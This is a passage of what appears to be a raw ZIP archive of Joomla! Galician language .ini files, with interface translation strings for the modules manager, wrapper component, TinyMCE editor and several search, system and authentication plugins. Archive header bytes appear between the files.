administración. Non se pode cambiar este valor." COM_MODULES_FIELD_CLIENT_ID_LABEL="Posición do módulo" COM_MODULES_FIELD_CONTENT_DESC="Texto" COM_MODULES_FIELD_CONTENT_LABEL="Texto" COM_MODULES_FIELD_MODULE_DESC="Tipo de módulo" COM_MODULES_FIELD_MODULE_LABEL="Tipo de módulo" COM_MODULES_FIELD_MODULECLASS_SFX_DESC="Un sufixo a ser aplicado á clase CSS do módulo, o que permite un aspecto individualizado para os módulos." COM_MODULES_FIELD_MODULECLASS_SFX_LABEL="Sufixo da clase do módulo" COM_MODULES_FIELD_NOTE_DESC="Unha nota opcional para amosar na lista de módulos." COM_MODULES_FIELD_NOTE_LABEL="Nota" COM_MODULES_FIELD_POSITION_DESC="Pode escoller unha posición de módulo no cadro despregábel de posicións predefinidas onde pode filtrar por tipo e tema, ou inserir súa propia posición dixitando o nome no campo e gardando. " COM_MODULES_FIELD_POSITION_LABEL="Posición" COM_MODULES_FIELD_PUBLISH_DOWN_DESC="Unha data, opcional, para a fin da publicación do módulo." COM_MODULES_FIELD_PUBLISH_DOWN_LABEL="Fin da publicación" COM_MODULES_FIELD_PUBLISH_UP_DESC="Unha data, opcional, para o comezo da publicación do módulo." COM_MODULES_FIELD_PUBLISH_UP_LABEL="Comezo da publicación" COM_MODULES_FIELD_PUBLISHED_DESC="Se se publica, este módulo amosarase na portada do sitio ou administración dependendo do módulo." COM_MODULES_FIELD_SHOWTITLE_DESC="Amosar/Agochar o título do módulo. O aspecto do título dependerá do estilo do tema." COM_MODULES_FIELD_SHOWTITLE_LABEL="Amosar título" COM_MODULES_FIELD_TITLE_DESC="O módulo ten que ter un título" COM_MODULES_FIELD_VALUE_NOCACHING="Non colocar en caché" COM_MODULES_FILTER_SEARCH_DESC="Filtrar polo no me da posición." COM_MODULES_HEADING_MODULE="Tipo" COM_MODULES_HEADING_PAGES="Páxinas" COM_MODULES_HEADING_POSITION="Posición" COM_MODULES_HEADING_TEMPLATES="Temas" COM_MODULES_HTML_PUBLISH_DISABLED="Publicar módulo::Extensión desactivada" COM_MODULES_HTML_PUBLISH_ENABLED="Publicar módulo::Extensión activada" COM_MODULES_HTML_UNPUBLISH_DISABLED="Despublicar módulo::Extensión desactivada" COM_MODULES_HTML_UNPUBLISH_ENABLED="Despublicar módulo::Extensión activada" COM_MODULES_MANAGER_MODULE="Xestor de módulos: Módulo %s" COM_MODULES_MANAGER_MODULES="Xestor de módulos: Módulos" COM_MODULES_MENU_ASSIGNMENT="Atribución de menús" COM_MODULES_MODULE_ASSIGN="Atribución de módulo" COM_MODULES_MODULE_DESCRIPTION="Descrición do módulo" COM_MODULES_MODULE_TEMPLATE_POSITION="%1$s (%2$s)" COM_MODULES_MODULES_FILTER_SEARCH_DESC="Buscar no título do módulo." COM_MODULES_MSG_MANAGE_NO_MODULES="Non hai módulos instalados que coincidan coa consulta" COM_MODULES_N_ITEMS_ARCHIVED="%d módulos arquivados con éxito" COM_MODULES_N_ITEMS_ARCHIVED_1="%d módulo arquivado con éxito" COM_MODULES_N_ITEMS_CHECKED_IN_0="Ningún módulo comprobado con éxito" COM_MODULES_N_ITEMS_CHECKED_IN_1="%d módulo comprobado con éxito" COM_MODULES_N_ITEMS_CHECKED_IN_MORE="%d módulos comprobados con éxito" COM_MODULES_N_ITEMS_DELETED="%d módulos eliminados con éxito" COM_MODULES_N_ITEMS_DELETED_1="%d módulo borrado con éxito" COM_MODULES_N_ITEMS_PUBLISHED="%d módulos publicados con éxito" COM_MODULES_N_ITEMS_PUBLISHED_1="%d módulo publicado con éxito" COM_MODULES_N_ITEMS_TRASHED="%d módulos enviados ao lixo con éxito" COM_MODULES_N_ITEMS_TRASHED_1="%d módulo enviado ao lixo con éxito" COM_MODULES_N_ITEMS_UNPUBLISHED="%d módulos despublicados con éxito" COM_MODULES_N_ITEMS_UNPUBLISHED_1="%d módulo despublicado con éxito" COM_MODULES_N_MODULES_DUPLICATED="%d módulos duplicados con éxito" COM_MODULES_N_MODULES_DUPLICATED_1="%d módulo duplicado con éxito" COM_MODULES_NO_ITEM_SELECTED="Ningún módulo seleccionado" COM_MODULES_NODESCRIPTION="Ningún módulo dispoñíbel" COM_MODULES_OPTION_MENU_ALL="En todas as páxinas" COM_MODULES_OPTION_MENU_EXCLUDE="En todas as páxinas menos nas escollidas" COM_MODULES_OPTION_MENU_INCLUDE="Só nas páxinas escollidas" COM_MODULES_OPTION_MENU_NONE="Ningunha páxina" COM_MODULES_OPTION_ORDER_POSITION="%d. %s" COM_MODULES_OPTION_POSITION_TEMPLATE_DEFINED="Tema" COM_MODULES_OPTION_POSITION_USER_DEFINED="Usuario" COM_MODULES_OPTION_SELECT_CLIENT="- Escoller tipo -" COM_MODULES_OPTION_SELECT_MODULE="- Escoller tipo -" COM_MODULES_OPTION_SELECT_POSITION="- Escoller posición -" COM_MODULES_OPTION_SELECT_TYPE="- Escoller tipo -" COM_MODULES_POSITION_ANALYTICS="Analítica" COM_MODULES_POSITION_BANNER="Cartel" COM_MODULES_POSITION_BOTTOM="Abaixo" COM_MODULES_POSITION_BREADCRUMB="Ronsel" COM_MODULES_POSITION_BREADCRUMBS="Ronsel" COM_MODULES_POSITION_DEBUG="Depurar" COM_MODULES_POSITION_FOOTER="Pé de páxina" COM_MODULES_POSITION_HEADER="Cabeceira" COM_MODULES_POSITION_LEFT2="Esquerda 2" COM_MODULES_POSITION_LEFT="Esquerda" COM_MODULES_POSITION_MAINNAV="Navegación principal" COM_MODULES_POSITION_NAV="Navegación" COM_MODULES_POSITION_OFFLINE="Desconectado" COM_MODULES_POSITION_POSITION-0="Posición 0" COM_MODULES_POSITION_POSITION-10="Posición 10" COM_MODULES_POSITION_POSITION-11="Posición 11" COM_MODULES_POSITION_POSITION-12="Posición 12" COM_MODULES_POSITION_POSITION-13="Posición 13" COM_MODULES_POSITION_POSITION-14="Posición 14" COM_MODULES_POSITION_POSITION-15="Posición 15" COM_MODULES_POSITION_POSITION-1="Posición 1" COM_MODULES_POSITION_POSITION-2="Posición 2" COM_MODULES_POSITION_POSITION-3="Posición 3" COM_MODULES_POSITION_POSITION-4="Posición 4" COM_MODULES_POSITION_POSITION-5="Posición 5" COM_MODULES_POSITION_POSITION-6="Posición 6" COM_MODULES_POSITION_POSITION-7="Posición 7" COM_MODULES_POSITION_POSITION-8="Posición 8" COM_MODULES_POSITION_POSITION-9="Posición 9" COM_MODULES_POSITION_RIGHT2="Dereita 2" COM_MODULES_POSITION_RIGHT="Dereita" COM_MODULES_POSITION_SUB1="Sub 1" COM_MODULES_POSITION_SUB2="Sub 2" COM_MODULES_POSITION_SUB3="Sub 3" COM_MODULES_POSITION_SUB4="Sub 4" COM_MODULES_POSITION_SUB5="Sub 5" COM_MODULES_POSITION_SUB6="Sub 6" COM_MODULES_POSITION_SUB="Sub" COM_MODULES_POSITION_SUBNAV="Sub-navegación" COM_MODULES_POSITION_SYNDICATE="Sementes" COM_MODULES_POSITION_TOP2="Top 2" COM_MODULES_POSITION_TOP3="Top 3" COM_MODULES_POSITION_TOP4="Top 4" COM_MODULES_POSITION_TOP="Arriba" COM_MODULES_POSITION_USER1="User 1" COM_MODULES_POSITION_USER2="User 2" COM_MODULES_POSITION_USER3="User 3" COM_MODULES_POSITION_USER4="User 4" COM_MODULES_POSITION_USER5="User 5" COM_MODULES_POSITION_USER6="User 6" COM_MODULES_POSITION_USER7="User 7" COM_MODULES_POSITION_USER8="User 8" COM_MODULES_SAVE_SUCCESS="O módulo gardouse con éxito" COM_MODULES_TYPE_CHOOSE="Escoller un tipo de módulo:" COM_MODULES_XML_DESCRIPTION="Compoñente para a xestión de módulos na administración" JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\m"5language/gl-ES/gl-ES.plg_authentication_gmail.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_GMAIL="Autenticación - GMail" PLG_GMAIL_XML_DESCRIPTION="Manexa a autenticación do usuario con unha conta GMail ou Googlemail (Require cURL).
              Aviso! ten que ter polo menos un engadido de autenticación activado ou perderá o acceso a todo o seu sitio." PK@y>\OمQQ,language/gl-ES/gl-ES.plg_system_remember.ininuW+A; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REMEMBER_XML_DESCRIPTION="Fornece a funcionalidade de recordatorio" PLG_SYSTEM_REMEMBER="Sistema - Recordatorio" PK@y>\qp388-language/gl-ES/gl-ES.plg_search_newsfeeds.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_NEWSFEEDS="Buscar - Sementes de novas" PLG_SEARCH_NEWSFEEDS_FIELD_SEARCHLIMIT_DESC="Número de elementos da busca a devolver" PLG_SEARCH_NEWSFEEDS_FIELD_SEARCHLIMIT_LABEL="Límite da busca" PLG_SEARCH_NEWSFEEDS_NEWSFEEDS="Semente de noticias" PLG_SEARCH_NEWSFEEDS_XML_DESCRIPTION="Activa a busca nas sementes de novas" PK@y>\6 $language/gl-ES/gl-ES.mod_popular.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_POPULAR="Artigos populares" MOD_POPULAR_CREATED="Creado" MOD_POPULAR_FIELD_AUTHORS_DESC="Filtrar por autores" MOD_POPULAR_FIELD_AUTHORS_LABEL="Autores" MOD_POPULAR_FIELD_CATEGORY_DESC="Escoller artigos de unha categoría específica ou conxunto de categorías." MOD_POPULAR_FIELD_COUNT_DESC="Número de elementos a amosar (predeterminado 5)" MOD_POPULAR_FIELD_COUNT_LABEL="Conta" MOD_POPULAR_FIELD_VALUE_ADDED_OR_MODIFIED_BY_ME="Engadido ou modificado por min" MOD_POPULAR_FIELD_VALUE_ANYONE="Calquera" MOD_POPULAR_FIELD_VALUE_NOT_ADDED_OR_MODIFIED_BY_ME="Non engadido ou modificado por min" MOD_POPULAR_ITEMS="Elementos populares" MOD_POPULAR_NO_MATCHING_RESULTS="Sen resultados" MOD_POPULAR_TITLE="Artigos populares" MOD_POPULAR_TITLE_1="O artigo máis popular" MOD_POPULAR_TITLE_MORE="Os %1$s artigos máis populares" MOD_POPULAR_TITLE_BY_ME="Os meus artigos máis populares" MOD_POPULAR_TITLE_BY_ME_1="O meu artigo máis popular" MOD_POPULAR_TITLE_BY_ME_MORE="Os meus %1$s artigos máis populares" MOD_POPULAR_TITLE_NOT_ME="Os artigos máis populares de outros" MOD_POPULAR_TITLE_NOT_ME_1="O artigo máis popular de outros" MOD_POPULAR_TITLE_NOT_ME_MORE="Os %1$s artigos máis populares de outros" MOD_POPULAR_TITLE_CATEGORY="Os artigos máis populares (Categoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_1="O artigo máis popular (Categoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_MORE="Os %1$s artigos máis populares (Catogoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_BY_ME="Os meus artigos máis populares (Categoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_BY_ME_1="O meu artigo máis popular (Catogoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_BY_ME_MORE="Os meus %$s artigos máis populares (Categoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME="Os artigos máis populares de outros (Categoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME_1="O artigo máis popular de outros (Categoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME_MORE="Os %1$s artigos máis populares de outros (Categoría %2$s) " MOD_POPULAR_UNEXISTING="Inexistente" MOD_POPULAR_XML_DESCRIPTION="Este módulo amosa unha lista dos actuais artigos publicados máis populares. Algúns dos que se amosan poden ter expirado e seguir sendo os máis populares." PK@y>\q7+2%%3language/gl-ES/gl-ES.plg_content_loadmodule.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_LOADMODULE="Contido - Cargar módulos" PLG_LOADMODULE_XML_DESCRIPTION="Carga as posicións de módulo dentro dun artigo, sintaxe: {loadposition user1} ou Módulos por nome, sintaxe: {loadmodule mod_login}. Opcionalmente pode especificar un estilo de módulo e para 'loadmodule' un titulo específico." PK@y>\bX'language/gl-ES/gl-ES.plg_system_p3p.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_P3P_XML_DESCRIPTION="O engadido de sistema para a directiva P3P permite a Joomla! enviar cadeas de caracteres personalizadas segundo a directiva P3P na cabeceira HTTP. Isto é requirido para as sesións que teñan que traballar con algúns navegadores como por exemplo, Internet Explorer 6 e 7." PLG_SYSTEM_P3P="Sistema - Directiva P3P" PLG_P3P_HEADER_DESCRIPTION="Insira súa etiqueta de directiva P3P. Para máis información consulte A plataforma para as preferencias de privacidade http://www.w3.org/TR/P3P/" PLG_P3P_HEADER_LABEL="Etiquetas P3P" PK@y>\Ayy$language/gl-ES/gl-ES.com_wrapper.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WRAPPER="Envoltorio" COM_WRAPPER_FIELD_ADD_DESC="Activar/Desactivar o engadido de http:// ao comezo do URL.
              Se está activado e o URL non comeza por http:// ou https:// engadirase automaticamente." COM_WRAPPER_FIELD_ADD_LABEL="Engadir automaticamente" COM_WRAPPER_FIELD_FRAME_DESC="Amosar o bordo que envolve o marco incrustado" COM_WRAPPER_FIELD_FRAME_LABEL="Bordo do marco" COM_WRAPPER_FIELD_HEIGHT_DESC="Altura da xanela do marco incrustado en píxeis" COM_WRAPPER_FIELD_HEIGHT_LABEL="Altura" COM_WRAPPER_FIELD_HEIGHTAUTO_DESC="Se establece a altura a automático, esta axustarase automaticamente ao tamaño da páxina externa. Isto só funciona con páxinas no seu propio dominio. Se ve un erro JavaScript, asegúrese de que este parámetro está desactivado. Isto rompera a compatibilidade XHTML para esta páxina." COM_WRAPPER_FIELD_HEIGHTAUTO_LABEL="Altura automática" COM_WRAPPER_FIELD_LABEL_SCROLLBARSPARAMS="Parámetros das barras de desprazamento" COM_WRAPPER_FIELD_SCROLLBARS_DESC="Amosar/Agochar as barras de desprazamento horizontal e vertical. De elixir 'Auto', asegúrese de que en opcións avanzadas está establecida a altura automática." COM_WRAPPER_FIELD_SCROLLBARS_LABEL="Barras de desprazamento" COM_WRAPPER_FIELD_URL_DESC="URL do sitio/ficheiro de desexa amosar no marco incrustado." COM_WRAPPER_FIELD_URL_LABEL="URL" COM_WRAPPER_FIELD_VALUE_AUTO="Auto" COM_WRAPPER_FIELD_WIDTH_DESC="Largura da xanela do marco incrustado. Pode inserir unha cifra absoluta en píxeis ou unha cifra relativa ao engadir un %." COM_WRAPPER_XML_DESCRIPTION="Amosa un marco incrustado para envolver unha páxina externa ou un sitio dentro do Joomla!" PK@y>\V,+,+,language/gl-ES/gl-ES.plg_editors_tinymce.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_TINYMCE="Editor - TinyMCE" PLG_TINY_BUTTON_TOGGLE_EDITOR="Alternar editor" PLG_TINY_ERR_CUSTOMCSSFILENOTPRESENT="O nome do ficheiro %s que foi inserido no campo CSS personalizado do editor TinyMCE. Este ficheiro non puido ser atopado no cartafol do tema predeterminado. Non hai estilos dispoñíbeis." PLG_TINY_ERR_EDITORCSSFILENOTPRESENT="Non foi posíbel atopar o ficheiro 'editor.css' no cartafol 'template' ou 'templates/system'. Non hai estilos dispoñíbeis." PLG_TINY_FIELD_ADVIMAGE_DESC="Activar/Desactivar as opcións avanzadas de imaxe" PLG_TINY_FIELD_ADVIMAGE_LABEL="Opcións de imaxe avanzadas" PLG_TINY_FIELD_ADVLINK_DESC="Activar/Desactivar as opcións avanzadas de ligazón" PLG_TINY_FIELD_ADVLINK_LABEL="Opcións de ligazón avanzada" PLG_TINY_FIELD_ADVLIST_DESC="Activar/Desactivar para asignar formatos numéricos e tipos de viñeta nas listas ordenadas e non ordenadas" PLG_TINY_FIELD_ADVLIST_LABEL="Opcións de lista avanzada" PLG_TINY_FIELD_BLOCKQUOTE_DESC="Activar/desactivar a citación" PLG_TINY_FIELD_BLOCKQUOTE_LABEL="Citación" PLG_TINY_FIELD_COLORS_DESC="Amosar/Agochar os botóns de selección de cores. Só aplicable en modo estendido" PLG_TINY_FIELD_COLORS_LABEL="Cores" PLG_TINY_FIELD_CONTEXTMENU_DESC="Activar/Desactivar o menú de contexto" PLG_TINY_FIELD_CONTEXTMENU_LABEL="Menú de contexto" PLG_TINY_FIELD_CSS_DESC="De xeito predeterminado o engadido busca un ficheiro chamado 'editor.css'. Se non se consegue atopar no cartafol css predeterminado do tema, cargase o ficheiro 'editor.css' do tema do sistema." PLG_TINY_FIELD_CSS_LABEL="Clases CSS do tema" PLG_TINY_FIELD_CUSTOM_CSS_DESC="Ficheiro CSS opcional que substituirá o ficheiro 'editor.css' predeterminado. Insira un nome ao que apuntar de ficheiro CSS personalizado que estea dentro do cartafol CSS do tema predeterminado (por exemplo: templates/beez_20/css/), ou insira a ruta URL completa para o ficheiro CSS personalizado. Se insire un valor neste campo, usarase este no canto de usar o ficheiro 'editor.css'." PLG_TINY_FIELD_CUSTOM_CSS_LABEL="Clases CSS personalizadas" PLG_TINY_FIELD_CUSTOMBUTTON_DESC="Engadir botóns personalizados" PLG_TINY_FIELD_CUSTOMBUTTON_LABEL="Botón personalizado" PLG_TINY_FIELD_CUSTOMPLUGIN_DESC="Engadir engadidos personalizados" PLG_TINY_FIELD_CUSTOMPLUGIN_LABEL="Engadido personalizado" PLG_TINY_FIELD_DATE_DESC="Amosar/Agochar o botón de inserir data. Só traballa no modo estendido." PLG_TINY_FIELD_DATE_LABEL="Inserir data" PLG_TINY_FIELD_DATEFORMAT_DESC="Formato da data inserida. Só traballa no modo estendido." PLG_TINY_FIELD_DATEFORMAT_LABEL="Formato da data" PLG_TINY_FIELD_DIRECTION_DESC="Escolla a dirección de texto predeterminada" PLG_TINY_FIELD_DIRECTION_LABEL="Dirección de texto" PLG_TINY_FIELD_ELEMENTS_DESC="Permite engadir elementos específicos válidos para o conxunto de regras existente." PLG_TINY_FIELD_ELEMENTS_LABEL="Elementos estendidos válidos" PLG_TINY_FIELD_ENCODING_DESC="Controla como son codificadas as entidades HTML. O recomendado é estabelecer a 'en bruto'.
              Por nome:é o nome usado pola codificación da entidade (por exemplo: '<').
              Por número: usa a codificación numérica HTML (por exemplo: '%03c').
              En bruto: non codifica as entidades HTML. Note que a busca de contido pode non traballar axeitadamente se establece distinto de 'en bruto'." PLG_TINY_FIELD_ENCODING_LABEL="Codificación de entidades" PLG_TINY_FIELD_FONTS_DESC="Amosar/Agochar o control de selección de tipo de letra. Só traballa no modo estendido." PLG_TINY_FIELD_FONTS_LABEL="Tipos de letra" PLG_TINY_FIELD_FULLSCREEN_DESC="Amosar/Agochar o botón de pantalla completa. Só traballa no modo estendido." PLG_TINY_FIELD_FULLSCREEN_LABEL="Pantalla completa" PLG_TINY_FIELD_FUNCTIONALITY_DESC="A escolla do editor é usada para limitar ou estender as funcións dispoñíbeis pola presencia ou ausencia da súa icona na barra de ferramentas." PLG_TINY_FIELD_FUNCTIONALITY_LABEL="Modo do editor" PLG_TINY_FIELD_HR_DESC="Amosar/Agochar o botón de liña horizontal" PLG_TINY_FIELD_HR_LABEL="Liña horizontal" PLG_TINY_FIELD_HTMLHEIGHT_DESC="Altura da xanela emerxente no modo HTML. Só traballa no modo estendido." PLG_TINY_FIELD_HTMLHEIGHT_LABEL="Altura da xanela HTML" PLG_TINY_FIELD_HTMLWIDTH_DESC="Largura da xanela emerxente no modo HTML. Só traballa no modo estendido." PLG_TINY_FIELD_HTMLWIDTH_LABEL="Largura da xanela HTML" PLG_TINY_FIELD_INLINEPOPUPS_DESC="As caixas de diálogo abrirán como capas flotantes no canto de xanelas emerxentes. Esta opción pode ser moi útil para evitar os bloqueadores de xanelas emerxentes." PLG_TINY_FIELD_INLINEPOPUPS_LABEL="Xanelas emerxentes" PLG_TINY_FIELD_LABEL_ADVANCEDPARAMS="Parámetros avanzados" PLG_TINY_FIELD_LANGCODE_DESC="Idioma da interface do editor. Este valor ten preferencia se estivese definida a selección de idioma manual." PLG_TINY_FIELD_LANGCODE_LABEL="Código de idioma" PLG_TINY_FIELD_LANGSELECT_DESC="Activar/Desactivar a aplicación do idioma da interface de Joomla! ao editor de artigos. Aviso!, ten que activar esta función só se os ficheiros de idioma para TinyMCE correspondentes as linguas en Joomla! están instalados, se non, o editor non será cargado." PLG_TINY_FIELD_LANGSELECT_LABEL="Selección automática de idioma" PLG_TINY_FIELD_LAYER_DESC="Amosar/Agochar o botón para engadir nova capa. So traballa no modo estendido." PLG_TINY_FIELD_LAYER_LABEL="Capa" PLG_TINY_FIELD_MEDIA_DESC="Amosar/Agochar o botón de multimedia. Só traballa no modo estendido." PLG_TINY_FIELD_MEDIA_LABEL="Media" PLG_TINY_FIELD_NAME_EXTENDED_LABEL="Opcións do modo estendido
              Estas opcións só traballan no modo estendido." PLG_TINY_FIELD_NEWLINES_DESC="As novas liñas serán creadas usando a opción escollida." PLG_TINY_FIELD_NEWLINES_LABEL="Novas liñas" PLG_TINY_FIELD_NONBREAKING_DESC="Inserir entidades de espazo non separábeis" PLG_TINY_FIELD_NONBREAKING_LABEL="Espazos non separábeis" PLG_TINY_FIELD_PASTE_DESC="Amosar/Agochar os botóns de pegar. Só traballa no modo estendido." PLG_TINY_FIELD_PASTE_LABEL="Pegar" PLG_TINY_FIELD_PATH_DESC="Amosar/Agochar as etiquetas do elemento seleccionado na barra de estado do editor." PLG_TINY_FIELD_PATH_LABEL="Ruta do elemento" PLG_TINY_FIELD_PROHIBITED_DESC="Elementos que serán sacados do texto. Deixe en branco, se quere prohibir que calquera insira texto sen sentido como por exemplo: cms." PLG_TINY_FIELD_PROHIBITED_LABEL="Elementos prohibidos" PLG_TINY_FIELD_RESIZE_HORIZONTAL_DESC="Activar/Desactivar o redimensionamento horizontal." PLG_TINY_FIELD_RESIZE_HORIZONTAL_LABEL="Redimensionamento horizontal" PLG_TINY_FIELD_RESIZING_DESC="Activar/Desactivar o botón de redimensionamento." PLG_TINY_FIELD_RESIZING_LABEL="Redimensionamento" PLG_TINY_FIELD_RTL_DESC="Amosar/Agochar o botón RTL (dirección da escritura). Só traballa no modo estendido." PLG_TINY_FIELD_RTL_LABEL="Direccionalidade" PLG_TINY_FIELD_SAVEWARNING_DESC="Activar/Desactivar a visualización dun aviso ao premer no botón Cancelar sen gardar os cambios." PLG_TINY_FIELD_SAVEWARNING_LABEL="Aviso para gardar" PLG_TINY_FIELD_SEARCH-REPLACE_DESC="Amosar/Agochar o botón de buscar e substituír. Só traballa no modo estendido." PLG_TINY_FIELD_SEARCH-REPLACE_LABEL="Buscar/Substituír" PLG_TINY_FIELD_SKIN_DESC="Escoller tema" PLG_TINY_FIELD_SKIN_LABEL="Tema" PLG_TINY_FIELD_SMILIES_DESC="Amosar/Agochar o botón das emoticonas. Só traballa no modo estendido." PLG_TINY_FIELD_SMILIES_LABEL="Emoticonas" PLG_TINY_FIELD_STYLE_DESC="Amosar/Agochar o botón de control do estilo CSS. Só traballa no modo estendido." PLG_TINY_FIELD_STYLE_LABEL="Estilo" PLG_TINY_FIELD_TABLE_DESC="Amosar/Agochar o botón de control de táboa. Só traballa no modo estendido." PLG_TINY_FIELD_TABLE_LABEL="Táboa" PLG_TINY_FIELD_TEMPLATE_DESC="Amosar/Agochar o botón de modelos para inserir o contido modelo. Só traballa no modo estendido." PLG_TINY_FIELD_TEMPLATE_LABEL="Tema" PLG_TINY_FIELD_TIME_DESC="Amosar/Agochar o botón de inserir a hora. Só traballa no modo estendido." PLG_TINY_FIELD_TIME_LABEL="Inserir hora" PLG_TINY_FIELD_TIMEFORMAT_DESC="Formato da hora inserida. Só traballa no modo estendido." PLG_TINY_FIELD_TIMEFORMAT_LABEL="Formato da hora" PLG_TINY_FIELD_TOOLBAR_ALIGN_DESC="Aliñamento da barra de ferramentas" PLG_TINY_FIELD_TOOLBAR_ALIGN_LABEL="Aliñar barra de ferramentas" PLG_TINY_FIELD_TOOLBAR_DESC="Posición da barra de ferramentas" PLG_TINY_FIELD_TOOLBAR_LABEL="Barra de ferramentas" PLG_TINY_FIELD_URLS_DESC="Como está estrito o URL
              O URL relativo é partir da raíz web: images/stories/key.jpg
              O URL absoluto é completo: http://www.joomla.fr/images/stories/key.jpg" PLG_TINY_FIELD_URLS_LABEL="URLs" PLG_TINY_FIELD_VALUE_ABSOLUTE="Absoluto" PLG_TINY_FIELD_VALUE_ADVANCED="Avanzado" PLG_TINY_FIELD_VALUE_ALWAYS="Sempre" PLG_TINY_FIELD_VALUE_BLACK="Office2007 Negro" PLG_TINY_FIELD_VALUE_BLUE="Office2007 Azul" PLG_TINY_FIELD_VALUE_BOTTOM="Abaixo" PLG_TINY_FIELD_VALUE_BR="Saltos de liña (elementos BR)" PLG_TINY_FIELD_VALUE_CENTER="Centrar" PLG_TINY_FIELD_VALUE_DEFAULT="Predeterminado" PLG_TINY_FIELD_VALUE_EXTENDED="Estendido" PLG_TINY_FIELD_VALUE_FRONT="Só portada" PLG_TINY_FIELD_VALUE_LEFT="Esquerda" PLG_TINY_FIELD_VALUE_LTR="De esquerda a dereita" PLG_TINY_FIELD_VALUE_NAMED="nomeado" PLG_TINY_FIELD_VALUE_NEVER="xamais" PLG_TINY_FIELD_VALUE_NUMERIC="numérico" PLG_TINY_FIELD_VALUE_P="Parágrafos (elementos P)" PLG_TINY_FIELD_VALUE_RAW="en bruto" PLG_TINY_FIELD_VALUE_RELATIVE="Relativo" PLG_TINY_FIELD_VALUE_RIGHT="Dereita" PLG_TINY_FIELD_VALUE_RTL="De dereita a esquerda" PLG_TINY_FIELD_VALUE_SILVER="Office2007 Prata" PLG_TINY_FIELD_VALUE_SIMPLE="Simple" PLG_TINY_FIELD_VALUE_TOP="Arriba" PLG_TINY_FIELD_VISUALCHARS_DESC="Amosar/Agochar o botón que permite ver os espazos non separábeis." PLG_TINY_FIELD_VISUALCHARS_LABEL="Amosar os espazos" PLG_TINY_FIELD_VISUALBLOCKS_DESC="Posibilidade de ver o esquema de elementos bloque HTML." PLG_TINY_FIELD_VISUALBLOCKS_LABEL="Amosar bloques" PLG_TINY_FIELD_WORDCOUNT_DESC="Activar/Desactivar a conta de palabras" PLG_TINY_FIELD_WORDCOUNT_LABEL="Conta de palabras" PLG_TINY_FIELD_XHTMLXTRAS_DESC="Amosar/Agochar os botóns de funcionalidades adicionais XHTML. Só traballa no modo estendido." PLG_TINY_FIELD_XHTMLXTRAS_LABEL="Funcionalidades adicionais XHTML" PLG_TINY_XML_DESCRIPTION="TinyMCE é un editor HTML WYSIWYG, controlado con JavaScript, independente da plataforma.

              Para ser utilizado, TinyMCE debe ser declarado como o editor predeterminado na configuración global de Joomla! ou autor do perfil do usuario que o desexe." PK@y>\Fڜ1-language/gl-ES/gl-ES.plg_extension_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EXTENSION_JOOMLA="Extensións - Joomla!" PLG_EXTENSION_JOOMLA_XML_DESCRIPTION="Xestiona os sitios de actualización de extensións" PLG_EXTENSION_JOOMLA_UNKNOWN_SITE="Sitio descoñecido" PK@y>\8WQ+language/gl-ES/gl-ES.plg_search_content.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTENT="Buscar - Contido" PLG_SEARCH_CONTENT_FIELD_ARCHIVED_DESC="Buscar nos artigos arquivados?" PLG_SEARCH_CONTENT_FIELD_ARCHIVED_LABEL="Artigos arquivados" PLG_SEARCH_CONTENT_FIELD_CONTENT_DESC="Activa a busca en todos os artigos" PLG_SEARCH_CONTENT_FIELD_CONTENT_LABEL="Artigos" PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_DESC="Número de elementos da busca a devolver" PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_LABEL="Límite da busca" 